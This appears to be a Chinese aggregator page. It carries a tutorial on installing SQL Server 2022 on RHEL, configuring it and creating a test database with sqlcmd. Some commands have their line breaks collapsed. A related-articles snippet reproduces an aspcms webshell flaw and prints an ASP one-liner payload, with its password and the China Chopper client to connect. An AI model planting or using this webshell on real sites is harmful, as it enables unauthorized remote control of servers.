当前位置: 首页 > news >正文

在 Red Hat 上安装 SQL Server 2022 并创建数据库

适用于: SQL Server - Linux

本快速入门介绍如何在 Red Hat Enterprise Linux (RHEL) 8.x 或 9.x 上安装 SQL Server 2022 (16.x)。然后可以使用 sqlcmd 进行连接,创建第一个数据库并运行查询。
注意:本教程需要用户输入和 Internet 连接。

必备条件
必须拥有 RHEL 8.x 计算机(内存至少为 2 GB)。
如果以前安装了 SQL Server 的社区技术预览版 (CTP) 或候选发布 (RC) 版本,则必须先删除旧存储库,然后再执行这些步骤。

安装 SQL Server

Red Hat 8环境下安装
以下用于安装 SQL Server 的命令指向 RHEL 8 存储库。
若要在 RHEL 上配置 SQL Server,请在终端中运行以下命令以安装 mssql-server 包:
1、下载 SQL Server 2022 (16.x) Red Hat 8 存储库配置文件:

sudo curl -o /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/8/mssql-server-2022.repo

如果要安装不同版本的 SQL Server,配置文件不同。
2、运行以下命令以安装 SQL Server:

sudo yum install -y mssql-server

3、包安装完成后,使用其完整路径运行 mssql-conf setup,按照提示设置 SA 密码并选择版本。作为提醒,以下 SQL Server 版本是免费提供许可的:Evaluation、Developer 和 Express 版。

sudo /opt/mssql/bin/mssql-conf setup

请记住为 SA 帐户指定强密码。需要最小长度为 8 个字符,包括大写和小写字母、十进制数字和/或非字母数字符号。
4、完成配置后,验证服务是否正在运行:

systemctl status mssql-server
5、若要允许远程连接,请在 RHEL 防火墙上打开 SQL Server 端口。默认的 SQL Server 端口为 TCP 1433。如果为防火墙使用的是 FirewallD,则可以使用以下命令:

sudo firewall-cmd --zone=public --add-port=1433/tcp --permanentsudo firewall-cmd --reload

此时,SQL Server 正在 RHEL 计算机上运行,随时可以使用!
Red Hat 9环境下安装
从 RHEL 9 开始,你可以将 SQL Server 作为启用 SELinux 的受限应用程序运行。
要将 SQL Server 作为受限应用程序运行,请执行以下步骤:
• 确保 SELinux 处于启用状态和强制模式下。
• 使用本部分后面提到的步骤安装 mssql-server 包。
• 安装新的 mssql-server-selinux 包。

sudo yum install -y mssql-server-selinux

要在 RHEL 9 上配置 SQL Server,请在终端中运行以下命令以安装 mssql-server 包:
1、下载 SQL Server 2022 (16.x) Red Hat 9 存储库配置文件:

sudo curl -o /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/9/mssql-server-2022.repo

2、运行以下命令以安装 SQL Server:

sudo yum install -y mssql-server

(可选)如果要将 SQL Server 作为受限应用程序运行,则请安装启用了自定义策略的 mssql-server-selinux 包。

sudo yum install -y mssql-server-selinux

3、包安装完成后,使用其完整路径运行 mssql-conf setup,按照提示设置 SA 密码并选择版本。作为提醒,以下 SQL Server 版本是免费提供许可的:Evaluation、Developer 和 Express 版。

sudo /opt/mssql/bin/mssql-conf setup

请记住为 SA 帐户指定强密码。需要最小长度为 8 个字符,包括大写和小写字母、十进制数字和/或非字母数字符号。
4、完成配置后,验证服务是否正在运行:

systemctl status mssql-server

5、若要允许远程连接,请在 RHEL 防火墙上打开 SQL Server 端口。默认的 SQL Server 端口为 TCP 1433。如果为防火墙使用的是 FirewallD,则可以使用以下命令:

sudo firewall-cmd --zone=public --add-port=1433/tcp --permanentsudo firewall-cmd --reload

此时,SQL Server 正在 RHEL 计算机上运行,随时可以使用!

将 sa 帐户禁用

1、创建新的登录帐户,并将其设为 sysadmin 服务器角色的成员。
• 根据你使用的是容器还是非容器部署,启用 Windows 身份验证,并创建一个新的基于 Windows 的登录帐户,并将其添加到 sysadmin 服务器角色中。
• 否则,请使用 SQL Server 身份验证创建登录帐户,并将其添加到 sysadmin 服务器角色。
2、使用创建的新登录帐户连接 SQL Server 实例。
3、按照安全最佳做法的建议,禁用 sa 帐户。

安装 SQL Server 命令行工具

若要创建数据库,则需要使用可在 SQL Server 上运行 Transact-SQL 语句的工具进行连接。按照以下步骤安装 SQL Server 命令行工具:sqlcmd 实用工具 和 bcp 实用工具。
通过以下步骤在 Red Hat Enterprise Linux 上安装 mssql-tools18。
1、下载 Microsoft Red Hat 存储库配置文件。
对于 Red Hat 9,请使用以下命令:

curl https://packages.microsoft.com/config/rhel/9/prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo

对于 Red Hat 8,请使用以下命令:

curl https://packages.microsoft.com/config/rhel/8/prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo

对于 Red Hat 7,请使用以下命令:

curl https://packages.microsoft.com/config/rhel/7/prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo

2、如果安装了早期版本的 mssql-tools,请删除所有旧的 unixODBC 包。

sudo yum remove mssql-tools unixODBC-utf16 unixODBC-utf16-devel

3、运行以下命令,以使用 unixODBC 开发人员包安装 mssql-tools18。

sudo yum install -y mssql-tools18 unixODBC-devel

若要将 mssql-tools 更新至最新版本,请运行以下命令:

sudo yum check-updatesudo yum update mssql-tools18

4、可选:向 bash shell 中的 PATH 环境变量添加 /opt/mssql-tools18/bin/。
若要使 sqlcmd 和 bcp 能从登录会话的 bash shell 进行访问,请使用下列命令修改 ~/.bash_profile 文件中的 PATH:

echo 'export PATH="$PATH:/opt/mssql-tools18/bin"' >> ~/.bash_profilesource ~/.bash_profile

若要使 sqlcmd 和 bcp 能从交互式/非登录会话的 bash shell 进行访问,请使用下列命令修改 ~/.bashrc 文件中的 PATH:

echo 'export PATH="$PATH:/opt/mssql-tools18/bin"' >> ~/.bashrcsource ~/.bashrc

本地连接
以下步骤使用 sqlcmd 本地连接到新的 SQL Server 实例。
1、使用 SQL Server 名称 (-S)、用户名 (-U) 和密码 (-P) 的相应参数运行 sqlcmd。在本教程中,用户进行本地连接,因此服务器名称为 localhost。
用户名为 sa,密码是在安装过程中为 SA 帐户提供的密码。

sqlcmd -S localhost -U sa -P '<YourPassword>'

可以在命令行上省略密码,以收到密码输入提示。
如果以后决定进行远程连接,请为 -S 参数指定计算机名称或 IP 地址,并确保防火墙上的端口 1433 已打开。
2、如果成功,应会显示 sqlcmd 命令提示符:1>。
3、如果连接失败,先尝试诊断错误消息中所述的问题。

创建和查询数据

下面各部分将逐步介绍如何使用 sqlcmd 新建数据库、添加数据并运行简单查询。

新建数据库

以下步骤创建一个名为 TestDB 的新数据库。
1、在 sqlcmd 命令提示符中,粘贴以下 Transact-SQL 命令以创建测试数据库:

CREATE DATABASE TestDB;

2、在下一行中,编写一个查询以返回服务器上所有数据库的名称:

SELECT Name from sys.databases;

3、前两个命令没有立即执行。必须在新行中键入 GO 才能执行以前的命令:

GO

插入数据

接下来创建一个新表 dbo.Inventory,然后插入两个新行。
1、在 sqlcmd 命令提示符中,将上下文切换到新的 TestDB 数据库:

USE TestDB;

2、创建名为 dbo.Inventory 的新表:

CREATE TABLE dbo.Inventory (id INT,name NVARCHAR(50),quantity INT,PRIMARY KEY (id)
);

3、将数据插入新表:

INSERT INTO dbo.Inventory VALUES (1, 'banana', 150);
INSERT INTO dbo.Inventory VALUES (2, 'orange', 154);

4、要执行上述命令的类型 GO:

GO

退出 sqlcmd 命令提示符

要结束 sqlcmd 会话,请键入 QUIT:

QUIT

跨平台数据工具
除“sqlcmd”以外,还可以使用以下跨平台工具来管理 SQL Server :

从 Windows 进行连接

Windows 上的 SQL Server 工具连接到 Linux 上的 SQL Server 实例,操作方式与连接到任何远程 SQL Server 实例一样。
如果有一台可以连接到 Linux 计算机的 Windows 计算机,请从运行 sqlcmd 的 Windows 命令提示符尝试执行本主题中的相同步骤。必须使用目标 Linux 计算机名称或 IP 地址,而不是 localhost,并确保 TCP 端口 1433 已在 SQL Server 计算机上打开。

相关文章:

在 Red Hat 上安装 SQL Server 2022 并创建数据库

适用于&#xff1a; SQL Server - Linux 本快速入门介绍如何在 Red Hat Enterprise Linux (RHEL) 8.x 或 9.x 上安装 SQL Server 2022 (16.x)。然后可以使用 sqlcmd 进行连接&#xff0c;创建第一个数据库并运行查询。 注意&#xff1a;本教程需要用户输入和 Internet 连接。 …...

游戏如何应对云手机刷量问题

云手机的实现原理是依托公有云和 ARM 虚拟化技术&#xff0c;为用户在云端提供一个安卓实例&#xff0c;用户可以将手机上的应用上传至云端&#xff0c;再通过视频流的方式&#xff0c;远程实时控制云手机。 市面上常见的几款云手机 原本需要手机提供的计算、存储等能力都改由…...

QTableView使用QSortFilterProxyModel后行号错乱

在Qt中&#xff0c;当你使用QSortFilterProxyModel对QTableView进行排序或过滤后&#xff0c;点击事件可能会返回一个不正确的行号&#xff0c;因为代理模型可能会改变数据的显示顺序。为了获取点击数据的真实行号和内容&#xff0c;你可以使用mapToSource()函数&#xff0c;它…...

【Python】 报错Can‘t find model ‘en_core_web_md‘

出现这种错误表明Python环境中找不到名为en_core_web_md的模型。这通常发生在使用spaCy库进行自然语言处理时&#xff0c;因为spaCy依赖于预先训练好的模型来进行词性标注、依赖分析、命名实体识别等任务。如果没有安装该模型&#xff0c;尝试加载它时会导致错误。 解决办法&a…...

每天五分钟深度学习框架pytorch:pytorch中已经定义好的损失函数

本文重点 前面我们学习了pytorch中两种模式的损失函数,一种是nn,另外一种是functional,本文将讲解pytorch中已经封装好的损失函数。其实nn的方式就是类,而functional的方式就是方法。nn中使用的也是functional。 损失函数中的参数 无论是nn还是functional,大多数的损失函…...

dedecms(四种webshell姿势)、aspcms webshell漏洞复现

一、aspcms webshell 1、登陆后台&#xff0c;在扩展功能的幻灯片设置模块&#xff0c;点击保存进行抓包查看 2、在slideTextStatus写入asp一句话木马 1%25><%25Eval(Request(chr(65)))%25><%25 密码是a&#xff0c;放行&#xff0c;修改成功 3、使用菜刀工具连…...

【STM32系统】基于STM32设计的智能垃圾桶(语音、颜色识别、称重、光强、烟雾、人体识别、步进电机、水泵)——文末资料下载

基于STM32设计的智能垃圾桶 演示视频: 基于STM32设计的智能垃圾桶 功能简介: 四个按键可分别打开四个垃圾桶(可回收垃圾、厨余垃圾、有害垃圾、其他垃圾) oled显示屏显示四个垃圾桶的打开/关闭状态、烟雾浓度、光照强度、称重的重量和识别到的颜色(白色、红色、绿色、蓝…...

GPT代码记录

#include <iostream>// 基类模板 template<typename T> class Base { public:void func() {std::cout << "Base function" << std::endl;} };// 特化的子类 template<typename T> class Derived : public Base<T> { public:void…...

powerbi

一. CALCULATE 和 FILTER FILTER 返回的数据必须是表&#xff0c; 所以 可以 用在 新建表中&#xff0c; 不能直接用在度量值中其实 filter 相当于 用 外表字段 去进行筛选 不使用 filter&#xff0c; 只能使用本表字段 进行筛选&#xff0c;如下1&#xff0c; 只能使用 门店信…...

【Unity】检测鼠标点击位置是否有2D对象

在这里提供两种方案&#xff0c;一种是射线检测&#xff0c;另一种是非射线检测。 初始准备步骤&#xff1a; 创建2D对象&#xff08;比如2D精灵&#xff09;给要被检测的2D对象添加2D碰撞体&#xff08;必须是2D碰撞体&#xff09;创建一个空对象&#xff0c;再创建一个检测…...

Python学习——【2.1】if语句相关语法

文章目录 【2.1】if语句相关一、布尔类型和比较运算符&#xff08;一&#xff09;布尔类型&#xff08;二&#xff09;比较运算符 二、if语句的基本格式※、练习 三、if-else组合判断语句※、练习 四、if-elif-else多条件判断语句※、练习 五、判断语句的嵌套※、实战案例 【2.…...

机器学习--K-Means

K均值聚类 算法过程 K − m e a n s K-means K−means 是 聚类 c l u s t e r i n g clustering clustering 算法的一种&#xff0c;就是给你一坨东西&#xff0c;让你给他们分类&#xff1a; 我们的 K − m e a n s K-means K−means 大概是这样一个流程&#xff1a; 第一…...

模型训练时CPU和GPU大幅度波动——可能是数据的读入拖后腿

模型训练时CPU和GPU大幅度波动——可能是数据的加载拖后腿 问题 在进行猫狗大战分类任务时&#xff0c;发现模型训练时CPU和GPU大幅度波动&#xff0c;且模型训练速度很慢。 原因 ​ 初步分析可能是数据加载&#xff08;包括数据的transform&#xff0c;我用了Resize&#…...

keep-alive的应用场景

...

【C++ Primer Plus习题】16.9

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <ctime> #include <v…...

Java入门:09.Java中三大特性(封装、继承、多态)02

2 继承 需要两个类才能实现继承的效果。 比如&#xff1a;类A 继承 类B A类 称为 子类 &#xff0c; 衍生类&#xff0c;派生类 B类 称为 父类&#xff0c;基类&#xff0c;超类 继承的作用 子类自动的拥有父类的所有属性和方法 &#xff08;父类编写&#xff0c;子类不需要…...

AI为云游戏带来的革新及解决方案:深度技术剖析与未来展望

近期&#xff0c;科技巨头埃隆马斯克与热门国产游戏《黑神话&#xff1a;悟空》的互动&#xff0c;再次引发了公众对AI技术在游戏产业中应用的关注。马斯克&#xff0c;作为特斯拉和SpaceX的掌门人&#xff0c;不仅在科技领域引领风骚&#xff0c;其个人兴趣也广泛涉猎&#xf…...

集合是什么

1.是什么 集合&#xff08;Collection&#xff09;是Java语言中一个非常重要的概念&#xff0c;它是一组对象的容器&#xff0c;用于存储、检索和操作对象。在Java中&#xff0c;集合框架定义了一系列接口和实现类&#xff0c;用于处理不同类型的集合。 集合的概念 集合框架提…...

JavaDS —— 图

图的概念 图是由顶点集合以及顶点之间的关系组成的一种数据结构&#xff1a;G &#xff08;V&#xff0c;E&#xff09; 其中 V 表示的是顶点集合 &#xff1a; V { x | x 属于某个数据对象集} 是有穷非空集合 E 叫做边的集合 &#xff1a; E {(x, y) | x, y 属于 V} 或者 …...

魅思-视频管理系统 getOrderStatus SQL注入漏洞复现

0x01 产品简介 魅思-视频管理系统是一款集成了视频管理、用户管理、手机端应用封装等功能的综合性视频管理系统。该系统不仅以其强大的视频管理功能、灵活的用户管理机制、便捷的手机端应用封装功能以及高安全性和现代化的界面设计,成为了市场上备受关注的视频管理系统之一。…...

iPaaS 应用场景深度解析:从系统孤岛到数据自由流动的六大实战路径

写在前面 一个企业的数字化程度越高&#xff0c;系统就越多。系统越多&#xff0c;集成问题就越严重。 这不是假设&#xff0c;而是我们在服务客户过程中反复验证的结论——企业数字化转型的瓶颈&#xff0c;往往不在于"造新系统"&#xff0c;而在于"连老系统&q…...

鸿蒙系统微博应用锁常见问题解答

为微博设置应用锁后&#xff0c;不少用户会有各种疑问&#xff1a;忘记密码怎么办&#xff1f;会不会影响消息推送&#xff1f;能不能只锁定某些功能&#xff1f;应用锁耗电吗&#xff1f;本文将针对这些高频问题逐一解答&#xff0c;帮助您更好地使用鸿蒙系统&#xff08;Harm…...

【紧急预警】92%的DeepSeek测试用例生成失败源于这4个隐性配置缺陷——资深SDET连夜整理修复清单

更多请点击&#xff1a; https://codechina.net 第一章&#xff1a;DeepSeek测试用例生成的现状与危机本质 当前&#xff0c;DeepSeek系列大模型&#xff08;如DeepSeek-Coder、DeepSeek-VL&#xff09;在代码生成与理解任务中展现出强大能力&#xff0c;但其测试用例自动生成…...

全链路压测实战:双十一级别的流量,我是这样扛住的

作为一名在质量保障领域摸爬滚打多年的测试工程师&#xff0c;我深知传统的单接口压测在如今分布式架构下的无力感。当业务流量达到双十一这种脉冲式、高并发的级别时&#xff0c;任何一个非核心链路上的“短板”都可能引发系统性的雪崩。全链路压测不再是选择题&#xff0c;而…...

文件-语言-系统:基础IO-2.0——IO重定向接口,语言层缓冲区,系统级缓冲区。内核级分析!

bit::Shadow✧(≖ ◡ ≖✿ 目录 重定向接口dup2() ">" ">>" "<" 函数原型 输出重定向1和2的使用 文件描述符表 ./a.out运行&#xff1a; "./a.out >"默认重定向是fd 1 合并标准输入输出 缓冲区 什么是缓冲…...

终极Node.js Mock工具:Mockery入门到精通实战教程

终极Node.js Mock工具&#xff1a;Mockery入门到精通实战教程 【免费下载链接】mockery Simplifying the use of mocks with Node.js 项目地址: https://gitcode.com/gh_mirrors/mock/mockery Mockery是Node.js生态中简化Mock使用的终极工具&#xff0c;它为开发者提供了…...

工业云脑:06 现在就能干:树莓派边缘盒子+PLC,10分钟缺陷检测小案例

06 现在就能干:树莓派边缘盒子+PLC,10分钟缺陷检测小案例 今天第九篇06小节——现在就能干:树莓派边缘盒子+PLC,10分钟缺陷检测小案例。新手照着做10分钟就能跑起来,老手一看就知道这玩意儿省了多少钱。以前想上AI检测,得花几万块买专业边缘盒子;现在?树莓派5(RPi 5)…...

网飞成立 AI 动画工作室,开启流媒体“原生 AI 制片时代”,中外布局逻辑有何不同?

1. Netflix“偷跑”在影视巨头关于 AIGC 的军备竞赛中&#xff0c;Netflix 再次加速。据外媒 TheVerge 报道&#xff0c;网飞于今年 3 月成立了名为 "INKubator" 的工作室&#xff0c;这是全球流媒体巨头中首个以生成式人工智能为核心的动画制作部门。此动作引发全球…...

Java项目中如何提升整体系统性能?

性能优化可以说是我们程序员的必修课&#xff0c;如果你想要跳出CRUD的苦海&#xff0c;成为一个更“高级”的程序员的话&#xff0c;性能优化这一关你是无论无何都要去面对的。为了提升系统性能&#xff0c;开发人员可以从系统的各个角度和层次对系统进行优化。除了最常见的代…...

深度解析:UI-TARS视觉语言模型驱动的自动化操作框架核心技术架构

深度解析&#xff1a;UI-TARS视觉语言模型驱动的自动化操作框架核心技术架构 【免费下载链接】UI-TARS-desktop The Open-Source Multimodal AI Agent Stack: Connecting Cutting-Edge AI Models and Agent Infra 项目地址: https://gitcode.com/GitHub_Trending/ui/UI-TARS-…...